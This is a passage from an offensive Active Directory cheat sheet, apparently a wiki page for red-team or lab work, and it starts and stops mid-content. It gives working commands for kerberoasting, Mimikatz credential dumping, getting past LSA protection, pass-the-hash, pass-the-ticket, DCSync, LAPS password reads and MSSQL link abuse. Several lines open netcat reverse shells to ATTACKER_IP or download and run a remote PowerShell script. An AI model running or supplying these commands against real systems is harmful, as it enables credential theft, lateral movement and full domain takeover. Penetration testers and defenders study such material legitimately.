#Kerberoasting whle being &amp;quot;OPSEC&amp;quot; safe, essentially while not try to roast AES enabled accounts&lt;br /&gt;
Rubeus.exe kerberoast /outfile: /domain: /rc4opsec&lt;br /&gt;
#Kerberoast AES enabled accounts&lt;br /&gt;
Rubeus.exe kerberoast /outfile: /domain: /aes&lt;br /&gt;
#Kerberoast spesific user account&lt;br /&gt;
Rubeus.exe kerberoast /outfile: /domain: /user: /simple&lt;br /&gt;
#Kerberoast by specifying the authentication credentials&lt;br /&gt;
Rubeus.exe kerberoast /outfile: /domain: /creduser: /credpassword:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Mimikatz ALL COMMANDS ==&lt;br /&gt;
&lt;br /&gt;
Source: https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#mimikatz&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#The commands are in cobalt strike format!&lt;br /&gt;
#Dump LSASS:&lt;br /&gt;
mimikatz privilege::debug&lt;br /&gt;
mimikatz token::elevate&lt;br /&gt;
mimikatz sekurlsa::logonpasswords&lt;br /&gt;
#(Over) Pass The Hash&lt;br /&gt;
mimikatz privilege::debug&lt;br /&gt;
mimikatz sekurlsa::pth /user: /ntlm:&amp;lt;&amp;gt; /domain:&lt;br /&gt;
#List all available kerberos tickets in memory&lt;br /&gt;
mimikatz sekurlsa::tickets&lt;br /&gt;
#Dump local Terminal Services credentials&lt;br /&gt;
mimikatz sekurlsa::tspkg&lt;br /&gt;
#Dump and save LSASS in a file&lt;br /&gt;
mimikatz sekurlsa::minidump c:\temp\lsass.dmp&lt;br /&gt;
#List cached MasterKeys&lt;br /&gt;
mimikatz sekurlsa::dpapi&lt;br /&gt;
#List local Kerberos AES Keys&lt;br /&gt;
mimikatz sekurlsa::ekeys&lt;br /&gt;
#Dump SAM Database&lt;br /&gt;
mimikatz lsadump::sam&lt;br /&gt;
#Dump SECRETS Database&lt;br /&gt;
mimikatz lsadump::secrets&lt;br /&gt;
#Inject and dump the Domain Controler&#039;s Credentials&lt;br /&gt;
mimikatz privilege::debug&lt;br /&gt;
mimikatz token::elevate&lt;br /&gt;
mimikatz lsadump::lsa /inject&lt;br /&gt;
#Dump the Domain&#039;s Credentials without touching DC&#039;s LSASS and also remotely&lt;br /&gt;
mimikatz lsadump::dcsync /domain: /all&lt;br /&gt;
#List and Dump local kerberos credentials&lt;br /&gt;
mimikatz kerberos::list /dump&lt;br /&gt;
#Pass The Ticket&lt;br /&gt;
mimikatz kerberos::ptt&lt;br /&gt;
#List TS/RDP sessions&lt;br /&gt;
mimikatz ts::sessions&lt;br /&gt;
#List Vault credentials&lt;br /&gt;
mimikatz vault::list&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== LSA Protection ===&lt;br /&gt;
&lt;br /&gt;
What if mimikatz fails to dump credentials because of LSA Protection controls ?&lt;br /&gt;
&lt;br /&gt;
* LSA as a Protected Process (Kernel Land Bypass)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Check if LSA runs as a protected process by looking if the variable &amp;quot;RunAsPPL&amp;quot; is set to 0x1&lt;br /&gt;
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa&lt;br /&gt;
#Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe&lt;br /&gt;
#Now lets import the mimidriver.sys to the system&lt;br /&gt;
mimikatz # !+&lt;br /&gt;
#Now lets remove the protection flags from lsass.exe process&lt;br /&gt;
mimikatz # !processprotect /process:lsass.exe /remove&lt;br /&gt;
#Finally run the logonpasswords function to dump lsass&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* LSA as a Protected Process (Userland &amp;quot;Fileless&amp;quot; Bypass)&lt;br /&gt;
[https://github.com/itm4n/PPLdump PPLdump]&lt;br /&gt;
&lt;br /&gt;
* [https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland Bypassing LSA Protection in Userland]&lt;br /&gt;
&lt;br /&gt;
* LSA is running as virtualized process (LSAISO) by Credential Guard&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Check if a process called lsaiso.exe exists on the running processes&lt;br /&gt;
tasklist |findstr lsaiso&lt;br /&gt;
#If it does there isn&#039;t a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data.&lt;br /&gt;
#Lets inject our own malicious Security Support Provider into memory, for this example i&#039;ll use the one mimikatz provides&lt;br /&gt;
mimikatz # misc::memssp&lt;br /&gt;
#Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [https://adsecurity.org/?page_id=1821 Detailed Mimikatz Guide]&lt;br /&gt;
&lt;br /&gt;
* [https://medium.com/red-teaming-with-a-blue-team-mentaility/poking-around-with-2-lsass-protection-options-880590a72b1a Poking Around With 2 lsass Protection Options]&lt;br /&gt;
&lt;br /&gt;
== Pass the Hash ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/ntlm#pass-the-hash https://book.hacktricks.xyz/windows-hardening/ntlm#pass-the-hash]&lt;br /&gt;
&lt;br /&gt;
https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/&lt;br /&gt;
&lt;br /&gt;
Once you have the hash of the victim, you can use it to impersonate it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Mimikatz&lt;br /&gt;
# This will launch a process that will belongs to the users that have launch mimikatz but internally in LSASS the saved credentials are the ones inside the mimikatz parameters. Then, you can access to network resources as if you where that user (similar to the runas /netonly trick but you don&#039;t need to know the plain-text password).&lt;br /&gt;
# 1&lt;br /&gt;
Invoke-Mimikatz -Command &#039;&amp;quot;sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe&amp;quot;&#039;&lt;br /&gt;
# 2&lt;br /&gt;
privilege::debug&lt;br /&gt;
sekurlsa::pth /user:Administrator /domain:ignite.local /ntlm:32196B56FFE6F45E294117B91A83BF38&lt;br /&gt;
------------------------------------------------------------------&lt;br /&gt;
# Pass-the-hash from linux&lt;br /&gt;
# Connect via psexec using PTH&lt;br /&gt;
psexec.py -hashed LM:NT user@ip&lt;br /&gt;
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.10.10.161&lt;br /&gt;
# Connect to RDP using PTH&lt;br /&gt;
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH&lt;br /&gt;
# Pass the hash with evil-winrm&lt;br /&gt;
evil-winrm -u  -H  -i&lt;br /&gt;
# SMBclient&lt;br /&gt;
python smbclient.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105&lt;br /&gt;
# Crackmapexec&lt;br /&gt;
crackmapexec smb 192.168.1.105 -u Administrator -H 32196B56FFE6F45E294117B91A83BF38 -x ipconfig&lt;br /&gt;
# rpcdump&lt;br /&gt;
python rpcdump.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105&lt;br /&gt;
# MSSQL&lt;br /&gt;
impacket-mssqlclient administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth&lt;br /&gt;
/opt/MSSqlPwner/MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
# PTH toolkit builtin in Kali linux&lt;br /&gt;
# smbclinet&lt;br /&gt;
pth-smbclient -U test.local/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105/c$&lt;br /&gt;
# wmic&lt;br /&gt;
pth-wmic -U test.local/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105 &amp;quot;select Name from Win32_UserAccount&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# rpcclient&lt;br /&gt;
pth-rpcclient -U test.local/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105&lt;br /&gt;
# net&lt;br /&gt;
pth-net rpc share list -U &#039;ignite\Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38&#039; -S 192.168.1.105&lt;br /&gt;
# curl&lt;br /&gt;
pth-curl --ntlm -u Administrator:32196B56FFE6F45E294117B91A83BF38 http://192.168.1.105/file.txt&lt;br /&gt;
------------------------------------------------------------------&lt;br /&gt;
# Impacket Windows compiled tools&lt;br /&gt;
psexec_windows.exe C:\AD\MyTools\psexec_windows.exe -hashes &amp;quot;:b38ff50264b74508085d82c69794a4d8&amp;quot; svcadmin@dcorp-mgmt.my.domain.local&lt;br /&gt;
# From SysInternals&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
wmiexec.exe wmiexec_windows.exe -hashes &amp;quot;:b38ff50264b74508085d82c69794a4d8&amp;quot; svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local&lt;br /&gt;
atexec.exe (In this case you need to specify a command, cmd.exe and powershell.exe are not valid to obtain an interactive shell)C:\AD\MyTools\atexec_windows.exe -hashes &amp;quot;:b38ff50264b74508085d82c69794a4d8&amp;quot; svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local &#039;whoami&#039;&lt;br /&gt;
# Powershell wmiexec&lt;br /&gt;
https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-WMIExec.ps1&lt;br /&gt;
Invoke-WMIExec -Target 192.168.1.105 -Domain test.local -Username Administrator -Hash 32196B56FFE6F45E294117B91A83BF38 -Command &amp;quot;cmd /c mkdir c:\hacked&amp;quot; -Verbose&lt;br /&gt;
------------------------------------------------------------------&lt;br /&gt;
# Invoke-TheHash&lt;br /&gt;
https://github.com/Kevin-Robertson/Invoke-TheHash&lt;br /&gt;
# Invoke-SMBExec&lt;br /&gt;
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command &#039;powershell -ep bypass -Command &amp;quot;iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)&amp;quot;&#039; -verbose&lt;br /&gt;
# Invoke-WMIExec&lt;br /&gt;
Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command &#039;powershell -ep bypass -Command &amp;quot;iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)&amp;quot;&#039; -verbose&lt;br /&gt;
# Invoke-SMBClient&lt;br /&gt;
Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose&lt;br /&gt;
# Invoke-SMBEnum&lt;br /&gt;
Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74&lt;br /&gt;
&lt;br /&gt;
------------------------------------------------------------------&lt;br /&gt;
# Powershell Empire&lt;br /&gt;
usemodule lateral_movement/invoke_smbexec&lt;br /&gt;
set ComputerName WIN-S0V7KMTVLD2.ignite.local&lt;br /&gt;
set Username Administrator&lt;br /&gt;
set Hash 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38&lt;br /&gt;
set Listener http&lt;br /&gt;
execute&lt;br /&gt;
&lt;br /&gt;
-----------------------------------------------------------------&lt;br /&gt;
# Metasploit&lt;br /&gt;
use exploit/windows/smb/psexec&lt;br /&gt;
set rhosts 192.168.1.105&lt;br /&gt;
set smbuser administrator&lt;br /&gt;
set smbdomain test.local&lt;br /&gt;
set smbpass 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38&lt;br /&gt;
exploit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Over Pass the Hash/Pass the key (PTK) ==&lt;br /&gt;
&lt;br /&gt;
This attack aims to &#039;&#039;&#039;use the user NTLM hash to request Kerberos tickets&#039;&#039;&#039;, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially &#039;&#039;&#039;useful in networks where NTLM protocol is disabled&#039;&#039;&#039; and only &#039;&#039;&#039;Kerberos is allowed&#039;&#039;&#039; as authentication protocol.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#over-pass-the-hash-pass-the-key https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#over-pass-the-hash-pass-the-key]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# We need the NTLM hash or password of the target user account in order to perform this attack. When hash is obtained we can request a TGT. We can access any service or machine where the user account has permission.&lt;br /&gt;
python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7&lt;br /&gt;
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache&lt;br /&gt;
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass&lt;br /&gt;
-aesKey [AES Key] to specify to use AES256&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Pass the Ticket ==&lt;br /&gt;
&lt;br /&gt;
Similar to PTK, but instead we steal the ticket and use it to authenticate as its owner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt&lt;br /&gt;
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd&lt;br /&gt;
&lt;br /&gt;
# Swapping Linux and Windows tickets between platforms&lt;br /&gt;
https://github.com/Zer1t0/ticket_converter (Ticket converter script)&lt;br /&gt;
# Only param needed is current ticket and output file.&lt;br /&gt;
root@kali:ticket_converter# python ticket_converter.py velociraptor.ccache velociraptor.kirbi&lt;br /&gt;
Converting ccache =&amp;gt; kirbi&lt;br /&gt;
root@kali:ticket_converter# python ticket_converter.py velociraptor.kirbi velociraptor.ccache&lt;br /&gt;
Converting kirbi =&amp;gt; ccache&lt;br /&gt;
# To convert in windows, use Kekeo https://github.com/gentilkiwi/kekeo&lt;br /&gt;
-----------------------------------------------------------------------&lt;br /&gt;
# Pass the ticket attack&lt;br /&gt;
# Linux&lt;br /&gt;
export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK&lt;br /&gt;
python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass&lt;br /&gt;
# Windows&lt;br /&gt;
# Load the ticket in memory using mimikatz or Rubeus&lt;br /&gt;
mimikatz.exe &amp;quot;kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi&amp;quot;&lt;br /&gt;
.\Rubeus.exe ptt /ticket:[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi&lt;br /&gt;
klist #List tickets in cache to cehck that mimikatz has loaded the ticket&lt;br /&gt;
.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd&lt;br /&gt;
&lt;br /&gt;
-----------------------------------------------------------------------&lt;br /&gt;
# We can obtain the Kerberos encryption keys from memory by using mimikatz with the following commands:&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
mimikatz # sekurlsa::ekeys&lt;br /&gt;
# Depending on the available keys, we can run the following commands on mimikatz to get a reverse shell via Pass-the-Key:&lt;br /&gt;
# If we have the RC4 hash:&lt;br /&gt;
mimikatz# sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:&amp;quot;c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556&amp;quot;&lt;br /&gt;
# If we have the AES128 hash:&lt;br /&gt;
mimikatz# sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:&amp;quot;c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556&amp;quot;&lt;br /&gt;
# If we have the AES256 hash:&lt;br /&gt;
mimikatz# sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:&amp;quot;c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== LAPS ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/leoloobeek/LAPSToolkit&lt;br /&gt;
# Get groups that can read passwords&lt;br /&gt;
Find-LAPSDelegatedGroups&lt;br /&gt;
OrgUnit                                           Delegated Groups&lt;br /&gt;
-------                                           ----------------&lt;br /&gt;
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL                DOMAIN_NAME\Domain Admins&lt;br /&gt;
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL           DOMAIN_NAME\LAPS Admin&lt;br /&gt;
# Checks the rights on each computer with LAPS enabled for any groups&lt;br /&gt;
# with read access and users with &amp;quot;All Extended Rights&amp;quot;&lt;br /&gt;
Find-AdmPwdExtendedRights&lt;br /&gt;
ComputerName                Identity                    Reason&lt;br /&gt;
------------                --------                    ------&lt;br /&gt;
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\Domain Admins   Delegated&lt;br /&gt;
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\LAPS Admins     Delegated&lt;br /&gt;
# Get computers with LAPS enabled, expirations time and the password (if you have access)&lt;br /&gt;
Get-LAPSComputers&lt;br /&gt;
ComputerName                Password       Expiration&lt;br /&gt;
------------                --------       ----------&lt;br /&gt;
DC01.DOMAIN_NAME.LOCAL      j&amp;amp;gR+A(s976Rf% 12/10/2022 13:24:41&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSSQL Trusted Links ==&lt;br /&gt;
&lt;br /&gt;
If a user has privileges to &#039;&#039;&#039;access MSSQL instances&#039;&#039;&#039;, he could be able to use it to &#039;&#039;&#039;execute commands&#039;&#039;&#039; in the MSSQL host (if running as SA).&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/mssql-trusted-links#mssql-trusted-links https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/mssql-trusted-links#mssql-trusted-links]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Powershell&lt;br /&gt;
https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.psd1&lt;br /&gt;
Import-Module .\PowerupSQL.psd1&lt;br /&gt;
#Get local MSSQL instance (if any)&lt;br /&gt;
Get-SQLInstanceLocal&lt;br /&gt;
Get-SQLInstanceLocal | Get-SQLServerInfo&lt;br /&gt;
#If you don&#039;t have a AD account, you can try to find MSSQL scanning via UDP&lt;br /&gt;
#First, you will need a list of hosts to scan&lt;br /&gt;
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10&lt;br /&gt;
#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them&lt;br /&gt;
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt&lt;br /&gt;
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test&lt;br /&gt;
# FROM INSIDE OF THE DOMAIN&lt;br /&gt;
#Get info about valid MSQL instances running in domain&lt;br /&gt;
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)&lt;br /&gt;
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose&lt;br /&gt;
#Test connections with each one&lt;br /&gt;
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose&lt;br /&gt;
#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)&lt;br /&gt;
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose&lt;br /&gt;
#Dump an instance (a lotof CVSs generated in current dir)&lt;br /&gt;
Invoke-SQLDumpInfo -Verbose -Instance &amp;quot;dcorp-mssql&amp;quot;&lt;br /&gt;
#Look for MSSQL links of an accessible instance&lt;br /&gt;
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd &amp;gt; 0&lt;br /&gt;
#Crawl trusted links, starting form the given one (the user being used by the MSSQL instance is also specified)&lt;br /&gt;
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose&lt;br /&gt;
#If you are sysadmin in some trusted link you can enable xp_cmdshell with:&lt;br /&gt;
Get-SQLServerLinkCrawl -instance &amp;quot;&amp;quot; -verbose -Query &#039;EXECUTE(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;,1;reconfigure;&#039;&#039;) AT &amp;quot;&amp;quot;&#039;&lt;br /&gt;
#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field&lt;br /&gt;
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query &amp;quot;exec master..xp_cmdshell &#039;whoami&#039;&amp;quot;&lt;br /&gt;
#Obtain a shell&lt;br /&gt;
Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query &#039;exec master..xp_cmdshell &amp;quot;powershell iex (New-Object Net.WebClient).DownloadString(&#039;&#039;http://172.16.100.114:8080/pc.ps1&#039;&#039;)&amp;quot;&#039;&lt;br /&gt;
#Check for possible vulnerabilities on an instance where you have access&lt;br /&gt;
Invoke-SQLAudit -Verbose -Instance &amp;quot;dcorp-mssql.dollarcorp.moneycorp.local&amp;quot;&lt;br /&gt;
#Try to escalate privileges on an instance&lt;br /&gt;
Invoke-SQLEscalatePriv –Verbose –Instance &amp;quot;SQLServer1\Instance1&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Delegations ==&lt;br /&gt;
&lt;br /&gt;
=== Unconstrained Delegation ===&lt;br /&gt;
&lt;br /&gt;
This a feature that a Domain Administrator can set to any &#039;&#039;&#039;Computer&#039;&#039;&#039; inside the domain. Then, anytime a &#039;&#039;&#039;user logins&#039;&#039;&#039; onto the Computer, a &#039;&#039;&#039;copy of the TGT&#039;&#039;&#039; of that user is going to be &#039;&#039;&#039;sent inside the TGS&#039;&#039;&#039; provided by the DC &#039;&#039;&#039;and saved in memory in LSASS&#039;&#039;&#039;. So, if you have Administrator privileges on the machine, you will be able to &#039;&#039;&#039;dump the tickets and impersonate the users&#039;&#039;&#039; on any machine.&lt;br /&gt;
&lt;br /&gt;
So if a domain admin logins inside a Computer with &amp;quot;Unconstrained Delegation&amp;quot; feature activated, and you have local admin privileges inside that machine, you will be able to dump the ticket and impersonate the Domain Admin anywhere (domain privesc).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What is DCSync attack?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
A DCSync attack &#039;&#039;&#039;uses commands in Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to pretend to be a domain controller (DC) in order to get user credentials from another DC&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# You can find Computer objects with this attribute checking if the userAccountControl attribute contains ADS_UF_TRUSTED_FOR_DELEGATION. You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what powerview does:&lt;br /&gt;
Get-NetComputer -Unconstrained #DCs always appear but aren&#039;t useful for privesc&lt;br /&gt;
# Export tickets with Mimikatz&lt;br /&gt;
privilege::debug&lt;br /&gt;
sekurlsa::tickets /export #Recommended way&lt;br /&gt;
kerberos::list /export #Another way&lt;br /&gt;
# Load the ticket of Administrator (or victim user) in memory with Mimikatz or Rubeus for a Pass the Ticket.&lt;br /&gt;
.\Rubeus.exe ptt /ticket:&lt;br /&gt;
&lt;br /&gt;
# Automatically compormise a print server&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation#automatically-compromising-a-print-server&lt;br /&gt;
.\SpoolSample.exe printmachine unconstrinedmachine&lt;br /&gt;
&lt;br /&gt;
# If the TGT is from a DC, you could perform a DCSync attack and get all the hashes from DC. https://www.youtube.com/watch?v=QfyZQDyeXjQ&lt;br /&gt;
Invoke-Mimikatz -Command &#039;&amp;quot;lsadump::dcsync /user:krbtgt&amp;quot;&#039;&lt;br /&gt;
# Use secretsdump if my user have DCsync rights&lt;br /&gt;
python3 secretsdump.py aghanim:password@10.10.10.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Unconstrained Delegation 2 ===&lt;br /&gt;
&lt;br /&gt;
[https://www.thehacker.recipes/a-d/movement/kerberos/delegations/unconstrained (KUD) Unconstrained - The Hacker Recipes]&lt;br /&gt;
&lt;br /&gt;
[https://0x4rt3mis.github.io/posts/OSEP-Cheat-Sheet/#unconstrained-delegation OSEP Cheat Sheet | 0x4rt3mis]&lt;br /&gt;
&lt;br /&gt;
[https://cheatsheet.haax.fr/windows-systems/privilege-escalation/delegations/ Offensive Security Cheatsheet (haax.fr)]&lt;br /&gt;
&lt;br /&gt;
* Definition &amp;amp; Theory:&lt;br /&gt;
&#039;&#039;&#039;Unconstrained Delegation&#039;&#039;&#039;: An extension to Kerberos authentication to solve double-hop issue, allows a service to impersonate the user to other services.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ticket Granting Ticket (TGT)&#039;&#039;&#039;: Issued after user login. Helps in obtaining service-specific tickets.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ticket Granting Service ticket&#039;&#039;&#039; (TGS): Obtained using TGT for a specific service.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Unconstrained Delegation Flow&#039;&#039;&#039;:&lt;br /&gt;
User requests a TGS for a service, includes forwardable TGT.&lt;br /&gt;
&lt;br /&gt;
* KDC returns TGT with the forward flag and a regular TGS.&lt;br /&gt;
&lt;br /&gt;
* TGT embedded into the TGS, sent to service.&lt;br /&gt;
&lt;br /&gt;
* Service can impersonate the user for backend services.&lt;br /&gt;
&lt;br /&gt;
* Service accounts can also be configured with unconstrained delegation if the application executes in the context of the service account rather than the machine account.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Enumeration &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The information for unconstrained delegation is stored in the userAccountControl property as TRUSTED_FOR_DELEGATION, which is represented with a numerical value of 524288.&lt;br /&gt;
&lt;br /&gt;
==== Dumping TGT if a user already have authenticated ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using PowerView to enumerate&lt;br /&gt;
# This can also be done with BloodHound&lt;br /&gt;
Get-DomainComputer -Unconstrained&lt;br /&gt;
...&lt;br /&gt;
useraccountcontrol            : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION&lt;br /&gt;
# If you find a server thats vulnerable to unconstrained delegation you must perform lateral movement or compromise vulnerable application on the machine.&lt;br /&gt;
# We assume we have performed lateral movement&lt;br /&gt;
# First; Extracting User&#039;s TGTs:&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
# Then dump the tickets. In this example a webserver is running on the target. Since the webserver is configured with Windows Authentication, we have to wait for an admin to visit the website before we can dump the ticket for that admin user.&lt;br /&gt;
mimikatz # sekurlsa::tickets&lt;br /&gt;
# Export TGT:&lt;br /&gt;
mimikatz # sekurlsa::tickets /export&lt;br /&gt;
# Look for Ticket Granting Ticket (TGT) for the user of interest (e.g., admin).&lt;br /&gt;
# Inject the TGT into the Current Session:&lt;br /&gt;
mimikatz # kerberos::ptt [0;9eaea]-2-0-60a10000-admin@krbtgt-PROD.CORP1.COM.kirbi&lt;br /&gt;
# TGT for the admin user is now loaded in memory.&lt;br /&gt;
# Test Access:&lt;br /&gt;
PsExec.exe \\cdc01 cmd&lt;br /&gt;
# To use impacket-psexec&lt;br /&gt;
# 1 - Convert the .kirbi ticket to a .ccache file using a tool like kirbi2ccache.&lt;br /&gt;
